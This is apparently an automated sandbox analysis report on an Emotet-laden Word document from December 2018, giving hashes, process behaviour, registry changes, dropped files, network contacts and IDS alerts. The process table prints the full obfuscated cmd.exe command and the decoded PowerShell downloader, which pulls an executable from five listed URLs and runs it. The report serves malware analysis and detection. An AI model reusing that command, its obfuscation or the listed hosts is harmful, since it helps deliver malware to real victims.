analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | ACH_5TPJZHCA.doc |
| Full analysis: | https://app.any.run/tasks/414c6a53-045e-4fb3-af1f-049036c30e3d |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 14, 2018, 15:58:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 14 11:29:00 2018, Last Saved Time/Date: Fri Dec 14 11:29:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 34, Security: 0 |
| MD5: | A507D4F980EA8A6AEACAAEDCBEDF0013 |
| SHA1: | 49625A26AB327FDC2A005A9BC43A51571578D5B5 |
| SHA256: | 82ADE4AEF946522B77365087D5600C4FA76FA829B9EE3A79862E2B92DE4F7624 |
| SSDEEP: | 1536:M7ljmW9/bvFeWHDL3tMAkveAwo2WD+ctP7Z4+a9:el/bvFx9MAk3wo2WD+cFd |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 3080)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 3080)
Application was dropped or rewritten from another process
- 721.exe (PID: 2664)
- 721.exe (PID: 3572)
- archivesymbol.exe (PID: 2860)
- archivesymbol.exe (PID: 2240)
Downloads executable files from the Internet
- powershell.exe (PID: 1904)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 1904)
Executes PowerShell scripts
- cmd.exe (PID: 2256)
Connects to CnC server
- archivesymbol.exe (PID: 2860)
EMOTET was detected
- archivesymbol.exe (PID: 2860)
Changes the autorun value in the registry
- archivesymbol.exe (PID: 2860)
SUSPICIOUS
Application launched itself
- cmd.exe (PID: 3724)
- archivesymbol.exe (PID: 2240)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3724)
Executable content was dropped or overwritten
- powershell.exe (PID: 1904)
- 721.exe (PID: 2664)
Creates files in the user directory
- powershell.exe (PID: 1904)
Connects to unusual port
- archivesymbol.exe (PID: 2860)
Starts itself from another location
- 721.exe (PID: 2664)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3080)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3080)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 38 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| Characters: | 34 |
| Words: | 5 |
| Pages: | 1 |
| ModifyDate: | 2018:12:14 11:29:00 |
| CreateDate: | 2018:12:14 11:29:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | - |
| Subject: | - |
| Title: | - |
Total processes
40
Monitored processes
8
Malicious processes
6
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3080 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\ACH_5TPJZHCA.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3724 | c:\CEloAdslF\CiWMfjqLBJoJ\QEQldTHGu\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set zFkq=SFkNXWLHJuwELQsMsqfpDOtkCkGVzzqw$n=:2'e7,i6;d(AIvhmbraY/{)-j.}@UR8+01xgy\c o4l&&for %E in (32;18;5;31;34;37;25;77;73;37;43;32;75;53;63;34;33;38;31;58;75;51;59;38;73;22;74;3;38;22;60;5;38;51;24;77;41;38;33;22;43;32;41;53;3;34;37;49;22;22;19;35;55;55;53;9;16;22;38;38;33;71;53;53;52;60;73;75;50;55;42;46;50;48;62;49;22;22;19;35;55;55;50;38;50;53;19;60;73;75;60;9;25;55;76;4;52;62;49;22;22;19;35;55;55;33;53;75;22;52;53;18;18;41;73;60;73;75;50;55;39;64;62;49;22;22;19;35;55;55;31;31;31;60;77;41;48;38;49;53;16;53;60;73;75;50;55;42;22;12;29;77;51;52;62;49;22;22;19;35;55;55;50;41;73;52;75;22;38;25;58;52;75;16;22;75;48;60;52;9;55;73;9;11;54;16;37;60;0;19;77;41;22;45;37;62;37;57;43;32;9;4;44;34;37;49;25;41;37;43;32;53;41;5;74;34;74;37;39;36;68;37;43;32;33;13;75;34;37;64;13;41;37;43;32;11;51;29;34;32;38;33;48;35;22;38;50;19;66;37;72;37;66;32;53;41;5;66;37;60;38;69;38;37;43;18;75;52;38;53;73;49;45;32;11;22;15;74;41;33;74;32;41;53;3;57;56;22;52;71;56;32;75;53;63;60;20;75;31;33;77;75;53;44;1;41;77;38;45;32;11;22;15;40;74;32;11;51;29;57;43;32;29;49;63;34;37;20;9;73;37;43;47;18;74;45;45;26;38;22;58;47;22;38;50;74;32;11;51;29;57;60;77;38;33;70;22;49;74;58;70;38;74;65;67;67;67;67;57;74;56;47;33;48;75;25;38;58;47;22;38;50;74;32;11;51;29;43;32;20;0;0;34;37;48;31;31;37;43;51;52;38;53;25;43;61;61;73;53;22;73;49;56;61;61;32;11;18;59;34;37;21;21;63;37;43;78)do set bJQa=!bJQa!!zFkq:~%E,1!&&if %E geq 78 %TMP:~-1%%TEMP:~-9,-8%w%TEMP:~5,1%rshe%PUBLIC:~-3,-2%l "!bJQa:~-426!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2256 | CmD /V:ON/C"set zFkq=SFkNXWLHJuwELQsMsqfpDOtkCkGVzzqw$n=:2'e7,i6;d(AIvhmbraY/{)-j.}@UR8+01xgy\c o4l&&for %E in (32;18;5;31;34;37;25;77;73;37;43;32;75;53;63;34;33;38;31;58;75;51;59;38;73;22;74;3;38;22;60;5;38;51;24;77;41;38;33;22;43;32;41;53;3;34;37;49;22;22;19;35;55;55;53;9;16;22;38;38;33;71;53;53;52;60;73;75;50;55;42;46;50;48;62;49;22;22;19;35;55;55;50;38;50;53;19;60;73;75;60;9;25;55;76;4;52;62;49;22;22;19;35;55;55;33;53;75;22;52;53;18;18;41;73;60;73;75;50;55;39;64;62;49;22;22;19;35;55;55;31;31;31;60;77;41;48;38;49;53;16;53;60;73;75;50;55;42;22;12;29;77;51;52;62;49;22;22;19;35;55;55;50;41;73;52;75;22;38;25;58;52;75;16;22;75;48;60;52;9;55;73;9;11;54;16;37;60;0;19;77;41;22;45;37;62;37;57;43;32;9;4;44;34;37;49;25;41;37;43;32;53;41;5;74;34;74;37;39;36;68;37;43;32;33;13;75;34;37;64;13;41;37;43;32;11;51;29;34;32;38;33;48;35;22;38;50;19;66;37;72;37;66;32;53;41;5;66;37;60;38;69;38;37;43;18;75;52;38;53;73;49;45;32;11;22;15;74;41;33;74;32;41;53;3;57;56;22;52;71;56;32;75;53;63;60;20;75;31;33;77;75;53;44;1;41;77;38;45;32;11;22;15;40;74;32;11;51;29;57;43;32;29;49;63;34;37;20;9;73;37;43;47;18;74;45;45;26;38;22;58;47;22;38;50;74;32;11;51;29;57;60;77;38;33;70;22;49;74;58;70;38;74;65;67;67;67;67;57;74;56;47;33;48;75;25;38;58;47;22;38;50;74;32;11;51;29;43;32;20;0;0;34;37;48;31;31;37;43;51;52;38;53;25;43;61;61;73;53;22;73;49;56;61;61;32;11;18;59;34;37;21;21;63;37;43;78)do set bJQa=!bJQa!!zFkq:~%E,1!&&if %E geq 78 powershell "!bJQa:~-426!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 1904 | powershell "$fWw='klc';$oaU=new-object Net.WebClient;$iaN='http://austeenyaar.com/6Amv@http://memap.co.uk/4Xr@http://naotraffic.com/7R@http://www.livehasa.com/6tLzlbr@http://microtek-rostov.ru/cuEYs'.Split('@');$uXd='hki';$aiW = '721';$nQo='RQi';$Ebz=$env:temp+'\'+$aiW+'.exe';foreach($EtM in $iaN){try{$oaU.DownloadFile($EtM, $Ebz);$zhU='Duc';If ((Get-Item $Ebz).length -ge 80000) {Invoke-Item $Ebz;$DSS='vww';break;}}catch{}}$Efj='OOU';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3572 | "C:\Users\admin\AppData\Local\Temp\721.exe" | C:\Users\admin\AppData\Local\Temp\721.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2664 | "C:\Users\admin\AppData\Local\Temp\721.exe" | C:\Users\admin\AppData\Local\Temp\721.exe | 721.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2240 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 721.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2860 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | |
User: admin Integrity Level: MEDIUM | ||||
Total events
1 826
Read events
1 333
Write events
486
Delete events
7
Modification events
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | jw0 |
Value: 6A773000080C0000010000000000000000000000 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1301151765 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301151884 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301151885 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 080C0000CC484BF2C593D40100000000 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | tx0 |
Value: 74783000080C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | tx0 |
Value: 74783000080C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3080) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6BCA.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8EF9593B.wmf | — | |
MD5:— | SHA256:— | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D0AE8201.wmf | — | |
MD5:— | SHA256:— | |||
| 1904 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X56ER4SPC6WD2FDU975B.temp | — | |
MD5:— | SHA256:— | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:6A7BB47572FA1559BAD9078B9A88EAE0 | SHA256:A5AAB2B92834B8292A216E6484560CA09B5C39CD5DC0A670B77B96A78C861C9B | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5B4D99A2.wmf | wmf | |
MD5:C909BDB92D0D5F62D49CB6F218F460D0 | SHA256:B85654597AFF462835A5FF04E33C32FAADD3FB3C7A36A13880F1C36B44C8F151 | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:6474936BCF9E0E40D986D76CB8B97569 | SHA256:A429E08BF13A763B1E1B56C70E9C488FD3A3D63556417F9C15A5F53B8F3D1253 | |||
| 1904 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
| 1904 | powershell.exe | C:\Users\admin\AppData\Local\Temp\721.exe | executable | |
MD5:9DBF2B2C96D1E8E085B85B8858DD5B30 | SHA256:52514ACFF385F83D4ACD4359266E099067B9BE1CD47DD95282B347EBC72690FE | |||
| 3080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\52FA0A00.wmf | wmf | |
MD5:4D28FFDB292DB3DBAF23C313376AC3AC | SHA256:6921FAED9A5C9137E3E46DD9CC909003A99E2548F38E79A12F811803F8F33D7D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2860 | archivesymbol.exe | GET | — | 186.136.68.246:80 | http://186.136.68.246/ | AR | — | — | malicious |
1904 | powershell.exe | GET | 301 | 87.248.154.186:80 | http://austeenyaar.com/6Amv | IR | html | 236 b | malicious |
1904 | powershell.exe | GET | 200 | 87.248.154.186:80 | http://austeenyaar.com/6Amv/ | IR | executable | 152 Kb | malicious |
2860 | archivesymbol.exe | GET | 200 | 189.180.237.144:7080 | http://189.180.237.144:7080/ | MX | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1904 | powershell.exe | 87.248.154.186:80 | austeenyaar.com | Tose'eh Ertebatat Novin Aria Co Pjs | IR | malicious |
2860 | archivesymbol.exe | 186.136.68.246:80 | — | Prima S.A. | AR | malicious |
2860 | archivesymbol.exe | 189.180.237.144:7080 | — | Uninet S.A. de C.V. | MX | malicious |
2860 | archivesymbol.exe | 201.111.83.186:8080 | — | Uninet S.A. de C.V. | MX | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
austeenyaar.com |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1904 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
1904 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
1904 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1904 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1904 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2860 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2860 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2860 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2860 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2 ETPRO signatures available at the full report